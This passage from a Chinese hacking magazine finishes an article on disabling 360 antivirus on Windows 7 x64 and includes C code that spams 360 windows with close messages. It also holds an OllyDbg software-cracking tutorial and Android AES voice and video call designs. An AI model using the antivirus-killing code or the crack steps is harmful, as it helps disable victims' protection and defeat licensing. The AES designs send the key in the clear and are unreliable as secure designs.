PatchGuard 的相关部分 jmp 或 nop 掉。我们这里直接使用黑防提供的相关工具，先运行

patch.exe，再运行“一键破解”程序，然后重启并选择废除数字签名校验机制与 PatchGuard

的那个选项，进入系统后便可以加载我们的驱动了。 

拿出刚才说过的 PsTerminateProcess 杀 360 的程序，做如下修改： 

1. 重新计算 PsTerminateProcess 的地址。 

2. 在 Windows7 x64 上的 EPROCESS 如下，在对应的位置要做修改。 

kd> dt nt!_EPROCESS 

   +0x000 Pcb              : _KPROCESS 

   ……                     …… 

   +0x180 UniqueProcessId  : Ptr64 Void 

       +0x188 ActiveProcessLinks : _LIST_ENTRY 

……                     …… 

       +0x2e0 ImageFileName    : [15] UChar 

3. 这是最重要同时也是最容易被忽略的一点，这里是 64 位系统，必须要将所有的

ULONG 改为 ULONG64 才可以。 

修改后的程序如期的在 Windows7 x64 上杀掉了 360 的相关进程。 

但是在实际应用当中，上述过程略显繁琐了。由于没有 Hook Shadow SSDT，我们可以

尝试窗口攻击，代码如下： 

int APIENTRY WinMain(HINSTANCE hInstance,  

HINSTANCE hPrevInstance,  

LPSTR lpCmdLine,  

int nCmdShow)  

{  

    while(1)//持续发送关闭消息，消耗系统大量资源 

{ 

EnumWindows(EnumWindowsProc, 0); 

 } //枚举所有窗口  

    return 0;  

}  

BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)  

{  

char wtitle[512];  

GetWindowText(hwnd, wtitle, sizeof(wtitle));  

if (strstr(wtitle , "360 杀毒")||strstr(wtitle , "360 安全卫士")) //查找 360 窗口，发送关

闭消息 

{  

::SendMessage(hwnd, WM_CLOSE, 0, 0);  

::SendMessage(hwnd, WM_DESTROY, 0, 0);  

::SendMessage(hwnd, WM_QUIT, 0, 0);  

}  
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return 1; 

}  

以管理员身份运行此程序，360 安全卫士窗口闪退，360 杀毒的窗口如图 6 所示，它们

均失去了与用户交互的能力。 

最后再提下 360 的进程保护机制，用 PCHunter 查看内核情况，发现 360 并没有像 32

位那样 Hook SSDT 或是 Inline Hook KiFastCallEntry 来保护进程，而是做了几个 Object Hook，

如图 7 所示，当我们用 PCHunter 恢复这些钩子后，便可以在任务管理器中轻松结束 360 进

程了。 

 
图 6 

 

图 7 
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结语 

这里要感谢《黑客防线》杂志十余年来提供的纯技术交流平台以及全体黑防高手艰苦卓

绝的探索；感谢潘爱民先生的《Windows 内核原理与实现》、Bill Blunden 先生的《Rootkit：

系统灰色地带的潜伏者》这两本专著。本文更加侧重于技术原理上的讨论，向广大读者普及

信息安全知识，任何人不得使用本文提供的程序危害互联网。 

笔者作为非计算机相关专业毕业的人员，凭借对信息安全事业的热爱才孜孜不倦的学习

研究，虽然如此，笔者仍清醒的意识到自己与高手们还有很大差距。由于本文涉及的内容艰

深庞杂，所以难免有不准确甚至是错误的地方，敬请批评指正。在笔者看来，360 的内核高

手们绝非没有认识到在系统调用之下还有很大的空间，他们应该是认为已经严密封锁了驱动

入口，很难再加载驱动；但我们抛开从技术层面上绕过驱动防火墙不谈，使用社会工程学知

识来骗过用户还不是那么困难的，因为绝大多数用户并不知晓驱动为何物，社工学也正是对

准了信息系统中最薄弱的环节——人。所以说，没有绝对的安全，但我们应该努力做到最好。 

2015 年 1 月 21 日，微软召开了主题为“The Next Chapter”的 Windows10 发布会，展

示了最新的 Windows10 系统的相关功能，并宣布所有 Windows7、Windows8、Windows 

Phone8.1 用户可以在一年之内免费升级至 Windows10，这让我们看到了微软变革的决心。

笔者完全有理由相信 Windows10 会取得巨大的成功，延续当今唯一一个兼具生产力与创意

的操作系统平台的辉煌。在未来，希望我们能与 Windows10 一起，不畏艰险，迎难而上，

只为一睹山巅之美。 

 

（完） 
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陌路寻踪：OD 调试破解全接触 

文/图 贾志明 

在安全应用中，分析者经常会使用一些调试工具，以便高效找出软件中存在的错误。而

在逆向分析领域，分析者也会利用相关的调试工具来分析软件的行为并验证分析结果。在使

用调试工具分析程序的过程中，程序会按调试者的意愿以指令为单位执行。由于操作系统都

会提供完善的调试接口，所以利用各类调试工具，可以非常方便灵活地观察和控制目标软件。 

 

OD 特点及操作简介 

1．OD 特点 

调试逆向分为动态分析技术和静态分析技术。动态分析技术指的是使用调试工具加载程

序并运行，随着程序运行，调试者可以随时中断目标的指令流程，以便观察相关计算的结果

和当前的设备情况。而静态分析技术是相对于动态分析而言的。比如，在实际分析中，很多

场合不方便运行目标，例如病毒程序，设备不兼容，软件的单独某一模块等，这个时候就可

以将静态分析技术派上用场了！ 

OD（OllyDbg）和 IDA Pro 这两款工具分别是调试逆向的倚天剑和屠龙刀。虽然两者都

兼容动态和静态的调试方式，但就动态调试而言，OD 更为灵活和强大，而静态调试工具的

王者理所应当是功能极为强大的 IDA Pro。OllyDbg 界面如图 1 所示。 

 

图 1 

在上图中，1 为汇编代码对应的地址窗口，2 为汇编代码对应的十六进制机器码窗口，3

为反汇编窗口，4 为反汇编代码对应的注释信息窗口，5 为寄存器信息窗口，6 为当前执行

到的反汇编代码的信息窗口，7～9 为数据所在的内存地址、十六进制、ASCII 码，10～12

为栈地址，存放的数据，对应说明信息。 

 

2．基础知识介绍 

1）关于寄存器 

寄存器就好比是 CPU 身上的口袋，方便 CPU 随时从里边拿出需要的东西来使用。寄存

器是有限存贮容量的高速存贮部件，它们可用来暂存指令、数据和地址。通常会涉及到以下

HACKER DEFENCE◆25◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

寄存器：EAX（扩展累加寄存器），EBX（扩展基址寄存器），ECX（扩展计数寄存器），EDX

（扩展数据寄存器），ESI（扩展来源寄存器），EDI（扩展目标寄存器），EBP（扩展基址指

针寄存器），ESP（扩展堆栈指针寄存器），EIP（扩展的指令指针寄存器）。 

这些寄存器的大小是 32 位（4 个字节），它们可以容纳从 0-FFFFFFFF（无符号数）的

数据，除了以下三个寄存器，其他都可以随意使用： 

 EBP：主要是用于栈和栈帧。 

 ESP：指向当前进程的栈空间地址。 

 EIP：总是指向下一条要被执行的指令。 

2）关于栈 

栈是在内存中的一部分，它有两个特殊的性质。第一是 FILO（First In Last Out），即先

进后出；第二是地址反向增长（栈底为大地址，栈顶为小地址）。如图 2 所示。 

 
图 2 

3）关于系统 API 

Windows 应用程序运行在 Ring3 级别（包括 OllyDBG），如图 3 所示。 

 

图 3 
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但有时候需要 Ring0 级别才能进行操作，那咋整？我们可以通过系统为我们搭建的桥

梁：API 函数，也称之为系统提供给我们的接口。因为系统只信任自己提供的函数，所以我

们要通过 API 才能实现对内核的操作。你可以这么想，假如我送给你一辆法拉利跑车，恩，

你没听错，是假如，不是真的！那你要怎么来驾驶她？没错，要通过踩油门来加速，要通过

打方向盘来转弯。而油门，方向盘就是所谓的接口，对于法拉利来说，它们就是 API 函数。 

4）关于 CALL 指令 

Call 有以下几种方式： 

方式一：call 404000h ;直接跳到函数或过程的地址 

方式二：call eax ;函数或过程地址存放在 eax 

方式三：call dword ptr [eax] 

 
方式四：call dword ptr [eax+5] 

方式五：call dword ptr [<&API>] ;执行一个系统 API 

5）关于 mov 指令 

mov 指令格式：mov dest, src 

这是一个很容易理解的指令，mov 指令将 src 的内容拷贝到 dest，mov 指令总共有以下

几种扩展。 

第 1 种：movs/movsb/movsw/movsd edi，esi：这些变体按串/字节/字/双字为单位将 esi

寄存器指向的数据复制到 edi 寄存器指向的空间。 

第 2 种：movsx 符号位扩展，byte->word，word->dword （扩展后高位全用符号位填充），

然后实现 mov。 

第 3 种：movzx 零扩展，byte->word，word->dword（扩展后高位全用 0 填充），然后实

现 mov。 

6）关于 cmp 指令 

cmp 指令格式：cmp dest, src 

cmp 指令比较 dest 和 src 两个操作数，并通过比较结果设置 C/O/Z 标志位。 

cmp 指令大概有以下几种格式： 

第 1 种：cmp eax, ebx ;如果相等，Z 标志位置 1，否则 0. 

第 2 种：cmp eax, [404000] ;将 eax 和 404000 地址处的 dword 型数据相比较并同上置位。 

第 3 种：cmp [404000], eax ;同上。 

7）标志位 

这个概念在破解中起到的作用是至关重要的。事实上所有的标志位归并与一个 32 位的

标志位寄存器，也就是说有 32 个不同的标志位。每个标志位有两个属性：置 1 或置 0，就

相当于我们平时说的 OK 或不 OK。在逆向中，你真正需要关心的标志位只有三个，也就是

cmp 指令能修改的那三个：Z/O/C。 

第一：Z 标志位（0 标志），这个标志位是最常用的，运算结果为 0 时候，Z 标志位置 1，

否则置 0。 

第二：O 标志位（溢出标志），在运行过程中，如操作数超出了机器能表示的范围则称

为溢出，此时 OF 位置 1，否则置 0。 

第三：C 标志位（进位标志），记录运算时从最高有效位产生的进位值。例如执行加法

指令时，最高有效位有进位时置 1，否则置 0。 
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8）关于 test 指令 

test 指令格式：test dest, src 

这个指令和 and 指令一样，对两个操作数进行按位的“与”运算，唯一不同之处是不将

“与”的结果保存到 dest。即本指令对两个操作数的内容均不进行修改，仅是在逻辑与操作

后，对标志位重新置位。 

9）关于条件跳转指令 

条件跳转指令，就是根据各种不同标志位的条件判断是否成立，条件成立则跳转。 

10） patch 

patch 也就是我们平时所说的补丁。所谓给程序打补丁就是我们对程序破解所进行的修

改。OllyDBG 的“/”可以查看所有打过的补丁。 

11）PE 文件头 

为什么需要了解 PE 结构？大家想象一下，某天在班上，我突然想知道小明同学今天穿

什么颜色的裤子，要怎么办呢？点名让小明同学站起来？不行，因为老师在上课呢。那我就

只好掏出班级里的座位名单，然后找到小明的名字，看是在第几行第几列就找到了，然后在

看她的裤子是什么颜色，对啵？其实如果把 PE 结构比作我们刚才提到的班级，那么座位名

单就是 PE 文件头了。 

PE（PortableExecutable）可执行文件结构是一样规范，发明这个主要用来指导系统如

何执行你所设计的程序。编译器已经为你将代码按照 PE 结构的形式编译链接为可执行文件，

这过程只是它默默的完成，所以我们没有察觉。但是我们现在学习的是逆向，所以连一条毛

我们都不能放过。 

PE 文件结构有一个非常优势的地方就是它在硬盘上的存储结构跟载入内存时候的存储

结构是一样的。所以，只要你了解如何在 PE 文件结构里边找出某样你想要的东西，那么当

这个文件映射到内存后，你也可以很容易的找到它（因为 OD 是动态调试，程序需要先载入

内存嘛）。 

内存中的一个模块代表一个可执行文件进程所需要的所有代码、数据、资源的集合。 

 

牛刀小试：修改标题和破解验证程序 

1.初试牛刀：修改软件标题 

任务要求：通过 OD 将程序的标题“I love fishc.com”改为“Iam JiaYuntian”。如图 4

所示。 

 
图 4 

具体操作步骤如下： 

第 1 步：打开 OD。按 F3 载入程序 hello.exe。粗略浏览汇编代码，发现是一些乱七八

糟的东西。Ctrl+F2 重新载入程序回到入口点 OEP。一直按 F8 单步步过，注意观察窗口各

处信息的变化，一直按到出现对话框。此时停在下图的这个 call 上。 
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第 2 步：找到标志行，按 F2 设下断点（或者双击该行）。Ctrl+F2 重新载入，直接按 F9

运行到断点处，按 F7 单步步入这个 call 里。如图 5 所示。 

 

图 5 

第 3 步：查找修改内容。进入到这里后，继续按 F8 单步往下执行。在“0040102C”处

就找到了我们要修改的地方。在左下方的数据窗口里按 Ctrl+G，键入地址 00422030，确认： 

 

第 4 步：修改内容。在第一行的地方按空格，修改标题内容。此处应注意，16 进制数

字末尾处应加上 00（因为字符串是以 0 结尾的，C 语言编程里有学到。）如图 6 所示。 

 

图 6 

第 5 步：修改并执行程序。点击确定，修改完成。按 F9 继续执行程序。修改到此成功，

如图 7 所示。 
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图 7 

2．调试案例：破解序列号验证程序 

在 Windows 中，只要 API 函数被使用，想对寻找蛛丝马迹的人隐藏一些东西是比较困

难的。因此，分析一个程序时，用什么 API 函数作为切入点就显得比较关键了。先把 TraceMe

这个序列号验证程序流程图给大家展示出来，如图 8 所示。 

 

图 8 

第 1 步：运行源文件。如图 9 所示。 

 

图 9 

第 2 步：加载目标文件调试。设置 OllyDbg 中断在程序的入口点，如图 10 所示。 
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图 10 

加载之前，我们先看看以下名词。 

 System breakpoint：系统断点，OllyDbg 用 CreateProcessA 加载

DEBUG_ONLY_THIS_PROCESS 参数执行，程序运行之后会触发一个 INT13，在系统空间里。 

 Entry point of main module：主模块的入口点，即文件的入口点。 

 WinMain：程序的 WinMain()函数入口点。 

第 3 步：找到 API 函数。 

本例中是 GetDlgItemTextA 或 GetDlgItemTextW，在它下方的调用处及以下会出现之前

写入的用户名和密码。通过设置 Z 标志位（本例为 Je 处），将 je 修为 nop，保存、备份，就

完成了修改 TraceMe。步骤如图 11 所示。 

 

↓ 

 

↓ 
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↓ 

 

↓ 

 

↓ 

 

↓ 
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图 11 

调试成功后，下面用相应指令修改，生成可执行文件，如图 12 所示。 

 

↓ 

 

↓ 

 

↓ 

 

↓ 
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图 12 

【小提示】调试技巧总结。 

（1）F2 下断点，按【Alt+b】打开断点编辑器，可编辑所有下过的断点，空格键可快

速切换断点状态。 

（2）当位于某个 CALL 中，这时想返回到调用这个 CALL 的地方时，可以按【Ctrl+F9】

快捷键执行返回功能。这样 OD 就会停在遇到的第一个返回命令（如 RET、RETF 或 IRET）。 

（3）如果跟进系统 DLL 提供的 API 函数中，此时想返回到应用程序领空里，可以按快

捷键【Alt+F9】执行返回到用户代码命令。 

（4）所谓领空，实际上就是指在某一时刻，CPU 执行的指令所在的某段代码的所有者。 

（5）如 004013F7 这类地址一般是可执行文件领空，7C8114AB 这类大地址一般是系统

DLL 所在的地址空间。 

（6）程序通常读取文本框内容的字符串用的是以下两个函数：GetDlgItemTextA

（GetDlgItemTextW），GetWindowTextA（GetWindowTextW）。 

（7）一般我们要结合经验通过猜测的方式多尝试几遍设陷阱，找出相关的函数。 

（8）按【Ctrl+G】键打开跟随表达式的窗口。也可以通过“Ctrl+N”键打开应用程序

的导入表（输入表），然后查看应用程序总共导入了哪些函数来以此推断需要在哪里挖坑下

陷阱！ 

（9）关于返回值，汇编代码的返回值约定是存放在 eax 这个寄存器里边的，如果 32

位的 eax 不够存放返回值，系统会将返回值放在内存某个位置并把该位置的地址放在 eax

返回。 

 

实战案例：软件破解完全接触 

1．破解逆向分析软件 

reverse 就是逆向的意思，软件运行效果如图 13 所示。 

 

图 13 

第 1 步：进入之后，按 F8 定位到这个 jnz 位置。经过试验，发现如果跳转未实现的话，

会直接弹出失败信息的 messagebox，如图 14 所示。 
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图 14 

第 2 步：通过设置，将此处的 jnz 跳转实现。（方法：将零标志位“Z”改为 0）。接着

往下走，此处的 jnz 同理也改为跳转实现，如图 15 所示。 

 

图 15 

凡是跳转到此地“keyfile is not valid.sorry”的跳转都要使之相反，否则依然失败。碰到

JL 的跳转。即是 S 标志位和 O 标志位不同，jl 指令会跳转。不让它跳转的话，就将二者修

改为相同，任意改其中一个都行，如图 16 所示。 

 

图 16 

第 3 步：现在来到此处 jmp，发现已经连接到了跳转成功之处了！如图 17 所示。 

 

图 17 

第 4 步：下面添上我们需要的补丁，然后保存。需要改为跳转的，用 jmp 汇编进去；需

要改为不跳转的，直接用 nop 汇编。保存修改后的文件，运行如图 18 所示。 
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图 18 

2．去除讨厌的 NAG 窗口 

nag 本意是烦人的意思，nag 窗口是软件设计者用来时不时提醒用户购买正版的警告窗

口。软件设计者可能认为当用户忍受不了试用版中的这些烦人的窗口时，就会考虑购买正式

版本。一般 nag 在程序启动或退出的时候弹出来，或者在程序运行的某个时刻突然蹦出来吓

你一跳。今天的任务是用不同的几种方法来去除烦人的 NAG 窗口。一般情况下，一个注册

后的软件，他是不会弹出 NAG 窗口的。所以，一般在程序启动的时候，他会有一段代码检

查改程序是否已经被注册，我们可以先把这个程序的注册破解掉，NAG 窗口即会自动消失。 

试验软件：RegisterMe.exe。 

把程序运行一遍之后我们发现程序有两个 NAG，一个是在程序界面启动前出现，另一

个是在程序关闭后出现的。如图 19 所示。 

 

图 19 

步骤 1：打开 OD 载入该文件，跳过第一个提示框的 4 种方法。如图 20 所示。 

 

图 20 

（1）je 处汇编为 jmp，如图 21 所示。 
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图 21 

（2）选中鼠标右键，在弹出的菜单中选择【二进制】→【用 nop 填充】，如图 22 所示。 

 

图 22 

（3）将 push 0 改为 push 1（因为 1 是一个不存在的句柄，从而导致下面的 messagebox

也不存在。也就是句柄无意义，子进程就消失），如图 23 所示。 

 

图 23 

（4）修改程序入口点。 

进入内存分布图，找到 PE 文件头，双击进入并找到 AddressOfEntryPoint。它在内存中

的对应地址为 4000E8。回到 cpu 中，在数据模块中按下【ctrl+g】，并填入 4000E8，将其本

来的入口点值 1000 修改为 1024，如图 24 所示。 

 

 

图 24 

步骤 2：回到 cpu 窗口中，在数据部分找到跟随地址 00400E8，如图 25 所示。 

 

图 25 

步骤 3：对此处进行修改，将 00 改为 24。这样，程序的入口位置就由 1000 变为 1024，

就跳过了第一个 NAG 弹出窗口 messagebox，如图 26 所示。 

 

图 26 
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步骤 4：再处理之后的另一个 NAG 弹出窗口。可以使用 nop 汇编掉，也可以将 push 0

改为 push 1 进行修改。在这里，GetModuleHandleA 这个 API 函数用于获取程序的 ImageBase

（基址）。这个程序的 MessageBox 的 OwnerHandle（父窗口句柄）为 0（NULL），我们可以

将这个值改为一个不存在的值，例如 1，这样它就找不到，就不会被显示出来。 

通过上面的操作，我们可以非常方便地达到调试目的。尤其是掌握相关指令后，多多实

践、灵活运用，就可以达到灵活观察和控制目标软件的目的。 

 

（完） 
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Android 移动智能终端安全视频通信 

文/图 袁琦 张帆（通信作者） 甘加升 

武汉轻工大学数学与计算机学院 

当前正快速进入崭新的移动互联网时代，移动即时通信是厂商在移动互联网领域争夺的

重点，但是与此同时，智能手机的安全性、私密性等问题逐渐引起大家的重视。本文实现了

一个安全即时视频通信软件，其通过对即使通信的视频信息进行 AES 加密，保证了即时通信

视频的的安全性和私密性。 

 

总体设计 

1.总体方案 

 Android 智能终端安全视频通信采用客户端对客户端架构，具体模块划分如图 1 所示。

总的来说，通过 AES 密钥设定，加解密模块为用户提供安全保障；通过界面模块给用户带

来更好的 UI 和使用体验。 

 

图 1 系统架构图 

 

2.客户端部分 

1）通信模块 

客户端通信模块实现视频的通信以及其他相关功能。该模块在发送数据时，从摄像头提

取数据，将数据按照自定义的协议（由协议处理模块处理）进行封装，并利用 UDP 协议将数

据传送给对方；在接收数据时，首先利用 UDP 协议通过 socket 通信接收数据，然后将数据

按照自定义的协议进行解析，解析之后，将视频数据通过话筒/屏幕显示出来。 
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2）AES 设定模块 

从客户端界面输入 AES 密钥，通过密钥获取比较，确定通话双方会话所用的 AES 密钥。 

3）加解密模块 

客户端加解密模块用于对传输的视频信息进行端对端的加解密。需要在保证传输信息机

密性的同时考虑系统工作效率，为此，我们采用了 128 位的 AES 加密算法。在每次视频之前，

视频双方都会通过密钥获取比较模块来确定 AES 密钥。 

4）UI 模块 

该模块为用户尽可能提供友好的人机交流 UI 界面，其中主要界面有：主界面、操作界

面（视频操作功能）、呼叫界面（静音、免提、挂断功能）、接听界面（视频通信显示）。 

 

详细设计及实现 

1．详细操作流程 

用户在打开客户端进入主界面后，输入对方的手机的 ip,然后开始进行视频邀请，当接

收方同意后，自动开启密钥获取比较流程进行密钥比较，在密钥比较成功后可以进行视频通

话 

2.系统代码详细设计 

1）输入 AES 密钥 

private void openFirendPopup(final String name, final int photo, int flag) { 

  View view = LayoutInflater.from(this).inflate( 

    R.layout.aesput, null); 

   

  Button sendase= (Button) view.findViewById(R.id.sendase); 

   

finalAlertDialogalertDialog = new 

AlertDialog.Builder(this).setView(view).create(); 

 

sendase.setOnClickListener(new View.OnClickListener() { 

 

   public void onClick(View v) { 

    if(!"".equals(getaes())){ 

    

Key_Deal.setFlag(Key_Deal.VIDEO_FLAG); 

    MainHandler.sendRequestForVideo(name); 

    MainHandler.startVideoActivity(name, photo); 

 

    alertDialog.dismiss(); 

   }} 

  }); 

if (flag == 0) { 

    

   sendase.setEnabled(false); 

  } 
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  alertDialog.show(); 

 } 

在弹出的界面中，输入 AES 密钥，当输入框不为空时，点击发送按钮，则可以邀请对方

开视频，然后界面消失。 

2）输入 AES 并接受好友视频的邀请 

private void initClick() { 

  accept.setOnClickListener(new View.OnClickListener() { 

 

   public void onClick(View v) { 

 

    if(flag== Key_Deal.VIDEO_FLAG&&!"".equals(getaes())) 

{startVideoActivity(); 

     Key_Deal.setFlag(Key_Deal.VIDEO_FLAG); 

     Video_Info.setIP(IP); 

     Voice_Info.setIP(IP); 

     Key_Info.setIP(IP); 

    } 

 

   } 

  }); 

                

       图 1 邀请好友视频界面              图 2 接受好友视频界面 

当点击发送按钮时，邀请好友开视频。当好友收到邀请后，输入 AES 密钥，点击接受，

密钥比较线程则开始进行密钥比较，当双方输入的 AES 密钥相等时，则设定为此次双方进行

视频的会话密钥。 

 3）密钥线程开始进行密钥获取及比较 

 public static void beginKeyThread(String ip) { 

Video_Info.setIP(ip); 

  Key_Info.setIP(ip); 

Key_InfosendInfo = new Key_Info(); 
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  sendInfo.setHead(new byte[] { 0x00 }); 

 Key_Thread.send(sendInfo); 

 } 

 以上代码是为了代开用来进行密钥比较的的线程，并且设置视频通信的 IP 

public static void sendPartOfAesOne() { 

  ase=FriendList_Activity.getaes(); 

  byte[] byase1=MyKey.parseHexStr2Byte(ase); 

  MyKey.setAesPassword1(byase1); 

MyKey.setAesKey(byase1); 

  Key_Infokey_Info = new Key_Info(); 

  byte[] head = new byte[] { 0x02 }; 

  key_Info.setHead(head); 

  key_Info.setPartOfPassword(byase1); 

 

  Key_Thread.send(key_Info); 

 } 

private static void deal0x02 (byte[] password1) { 

MyKey.setAesPassword1(password1); 

  MainHandler.sendPartOfAesTwo(); 

  MyKey.initAESKey(); 

 } 

 上面的代码首先获取 edit text 文本框输入的 AES 密钥并且保存，再将自己的 AES 发送

给对方线程会通过 initAESKey()进行 AES 的比较。 

 public static void sendPartOfAesTwo() { 

  ase=BeCalled_Activity.getaes(); 

  byte[] byase2=MyKey.parseHexStr2Byte(ase); 

  MyKey.setAesPassword2(byase2); 

  Key_Infokey_Info = new Key_Info(); 

  byte[] head = new byte[] { 0x03 }; 

  key_Info.setHead(head); 

key_Info.setPartOfPassword(byase2); 

Key_Thread.send(key_Info); 

 } 

private static void deal0x03 (byte[] password2) { 

MyKey.setAesPassword2(password2); 

  MyKey.initAESKey(); 

  } 

 上面的代码首先获取 edit text 文本框输入的 AES 密钥并且保存，接着线程会通过

initAESKey()进行 AES 的比较。 
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 public static void initAESKey() { 

  if(aesPassword1.length == 0 && aesPassword2.length == 0) 

   return; 

 aes1  =  parseByte2HexStr(aesPassword1); 

      aes2 =  parseByte2HexStr(aesPassword2); 

   

  if(aes1.equals(aes2)){ 

   aesKey= parseHexStr2Byte(aes1); 

   } 

 } 

密钥线程比较两个 AES 密钥，如果相等就设置为通信的密钥，接着通过

startVideoActivity()打开视频，双方进行通信。 

 

public static String parseByte2HexStr(byte buf[]) { 

StringBuffersb = new StringBuffer(); 

for (inti = 0; i<buf.length; i++) { 

                    String hex = Integer.toHexString(buf[i] & 0xFF); 

if (hex.length() == 1) { 

hex = '0' + hex; 

                    } 

sb.append(hex.toUpperCase()); 

            } 

returnsb.toString(); 

    } 

以上代码是将二进制转换为 16 进制，也就是将字节转换为 string 类型 

 

public static byte[] parseHexStr2Byte(String hexStr) { 

if (hexStr.length() < 1) 

return null; 

byte[] result = new byte[hexStr.length()/2]; 

for (inti = 0;i<hexStr.length()/2; i++) { 

int high = Integer.parseInt(hexStr.substring(i*2, i*2+1), 16); 

int low = Integer.parseInt(hexStr.substring(i*2+1, i*2+2), 16); 

result[i] = (byte) (high * 16 + low); 

            } 

return result; 

    } 

以上代码是将 16 进制转换为二进制，也就是将 string 类型转换为字节型。通信所需要
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的 AES 密钥是 byte 型，所以需要将从 edit text 中获取的 string 型密钥转换为 byte,然后

为通信进行加密。 

 4）AES 加密 

public static byte[] AESencrypt(byte[] byteContent) {   

 if(aesKey == null) 

    return null; 

   try {              

 SecretKeySpec key = new SecretKeySpec(aesKey, "AES");   

 Cipher cipher = Cipher.getInstance("AES");   

 cipher.init(Cipher.ENCRYPT_MODE, key);    

 byte[] result = cipher.doFinal(byteContent);  

 return result;   

         } catch (NoSuchAlgorithmException e) {   

 e.printStackTrace();   

         } catch (NoSuchPaddingException e) {   

 e.printStackTrace();   

         } catch (InvalidKeyException e) {   

 e.printStackTrace();   

         } catch (IllegalBlockSizeException e) {   

 e.printStackTrace();   

         } catch (BadPaddingException e) {   

 e.printStackTrace();   

         }   

 return null;   

 }   

   此段代码是 AES 加密。首先创建密码器，接着初始化，然后对将要发送出去的要加密的

视频数据流内容进行加密。 

 5）AES 解密 

public static byte[] AESdecrypt(byte[] content) { 

if(aesKey == null) 

   return null; 

 try { 

byte[] enCodeFormat = aesKey; 

SecretKeySpec key = new SecretKeySpec(enCodeFormat, "AES");            

Cipher cipher = Cipher.getInstance("AES"); 

cipher.init(Cipher.DECRYPT_MODE, key); 

byte[] result = cipher.doFinal(content); 

return result;  

            } catch (NoSuchAlgorithmException e) { 
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e.printStackTrace(); 

            } catch (NoSuchPaddingException e) { 

e.printStackTrace(); 

            } catch (InvalidKeyException e) { 

e.printStackTrace(); 

            } catch (IllegalBlockSizeException e) { 

e.printStackTrace(); 

            } catch (BadPaddingException e) { 

e.printStackTrace(); 

            } 

return null; 

} 

此段代码是 AES 解密。先创建密码器，接着初始化，然后对从对方发送过来要解密的视

频数据流内容进行解密。 

3.视频加密通信测试 

1）在正常“保密视频”通信的情况下，发送方使用视频之前确定的 AES 密钥进行加密，

接收方使用 AES 密钥对视频数据包进行解密，可见双方能够正常进行视频通信，如图 3所示。 

2）在“攻击者截获视频数据包”的情况下，由于攻击者无法获取 AES 密钥，因而无法

对视频数据包进行解密。攻击者所看到的视频信息只是毫无意义的乱码，如图 4所示。 

         

     图 3 发送方接收图像显示    图 4 接受方接收图像显示 
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Android 移动智能终端安全语音通信 

文/图 甘加升  张帆（通信作者） 袁琦 

武汉轻工大学数学与计算机学院 

 

当前智能手机功能越来越强大，但由此带来的安全性和通信隐私性问题也日渐显露。随

着近年来手机窃听事件频发，用户语音通信的机密性需求日益提升。因此，本文设计并实现

了一套机制，使得通信双方在不可信的互联网网络环境下能够进行安全的即时语音通信。 

本文所述的系统由五个部分构成： 

（1）输入 AES 密钥。用户在屏幕输入保密通信所需要的 AES 密钥，在后续的语音通

信中，AES 密钥将用于加密语音通信信息。 

（2）发起通信请求。某一个通信方 A 对另一通信方 B 发起通信请求，如果 B 同意进行

通信，则接受对方请求。 

（3）确定 AES 密钥。通信接收方 B 在收到通信 A 方的请求后，输入 AES 密钥，点击

接受后开启密钥确定线程。通信双方所输 AES 密钥相同时通信连接建立成功，否则失败。 

（4）通信双方数据的加解密。 

（5）传输。 

 以下是该系统的详细设计过程 

 

1.输入 AES 密钥 

 通信双方在建立连接之前，通信请求方在界面上输入 AES 密钥，发送给通信接收方，

同时开启语音通信线程。主要代码如下： 

 

private void openFriendPopup(final String name, final int photo, int flag) { 

  View view = LayoutInflater.from(this).inflate( 

    R.layout.aesput, null); 

  Button sendase= (Button) view 

    .findViewById(R.id.sendase); 

  final AlertDialog alertDialog = new AlertDialog.Builder(this).setView( 

    view).create(); 

  sendase.setOnClickListener(new View.OnClickListener() { 

   public void onClick(View v) { 

              Key_Deal.setFlag(Key_Deal.VOICE_FLAG); 

    MainHandler.SendRequestForCall(name); 

    MainHandler.startVoiceActivity(name, photo); 

    alertDialog.dismiss();    

} 

  }); 

  if (flag == 0) { 

   sendase.setEnabled(false); 

  } 

  alertDialog.show(); 

 } 
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 输入 AES 密钥的实现过程中，通信请求方在弹出窗口中输入 AES 密钥，点击发送语音

按 钮 ， 通 过 主 线 程 的 MainHandler 实 例 向 好 友 发 送 语 音 请 求 ， 并 使 用

startVoiceActivity()开启语音通信线程。 

 

2．发起通信请求 

 通信请求方发起通信请求，通信接收方在接收到请求方的语音邀请时，主动输入 AES

密钥，点击接受，并开启语音通信线程，同时将请求方的密钥与自己主动输入的密钥进行比

较。主要代码如下： 

 

private void initClick() { 

accept.setOnClickListener(new View.OnClickListener() { 

   public void onClick(View v) { 

if(flag== Key_Deal.VOICE_FLAG&&!"".equals(getaes())) { 

     startVoiceActivity(); 

     Key_Deal.setFlag(Key_Deal.VOICE_FLAG); 

     Voice_Info.setIP(IP); 

     Key_Info.setIP(IP); 

    } 

   } 

  }); 

 

 发起通信请求的实现过程中，使用 startVoiceActivity()开启语音通信线程，同时

设置 IP，为后续语音信息的发送提供 IP参数。 

 图 1为语音通信请求界面，图 2为语音通信接收界面。 

            
         图 1 语音通信请求                      图 2语音通信接收  

 

3．确定 AES 密钥 
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public static void startKeyInit() { 

  byte[] publicKey = MyKey.getPublicKey(); 

  byte[] s_c = MyKey.getS_c(); 

  Key_Info key_Info = new Key_Info(); 

  byte[] head = newbyte[] { 0x00 }; 

  key_Info.setHead(head); 

  key_Info.setPublicKey(publicKey); 

  key_Info.setS_c(s_c); 

  Key_Thread.send(key_Info); 

 } 

 

 以上代码是开始密钥确定线程过程。密钥确定过程首先获取通信方的公钥和 s_c验证，

并设置为 key_Info中的公钥和 s_c验证，最后发送出去。 

 

public static void sendPartOfAesOne() { 

  ase=FriendList_Activity.getaes(); 

  byte[] byase1=MyKey.parseHexStr2Byte(ase); 

  MyKey.setAesPassword1(byase1); 

MyKey.setAesKey(byase1); 

  Key_Info key_Info = new Key_Info(); 

  byte[] head = newbyte[] { 0x02 }; 

  key_Info.setHead(head); 

  key_Info.setPartOfPassword(byase1); 

  Key_Thread.send(key_Info);  

 } 

 

 以上代码是获取发送邀请方 AES。取出界面编辑框中的 AES密钥并将其转化为二进制存

入二进制数组中，通过 MyKey实例将获取的 AES密钥设置为 AesPassword1，将获取的 AES

密钥存入 key_Info并发送出去。 

 

public static void sendPartOfAesTwo() { 

  ase=BeCalled_Activity.getaes();  

  byte[] byase2=MyKey.parseHexStr2Byte(ase); 

  MyKey.setAesPassword2(byase2); 

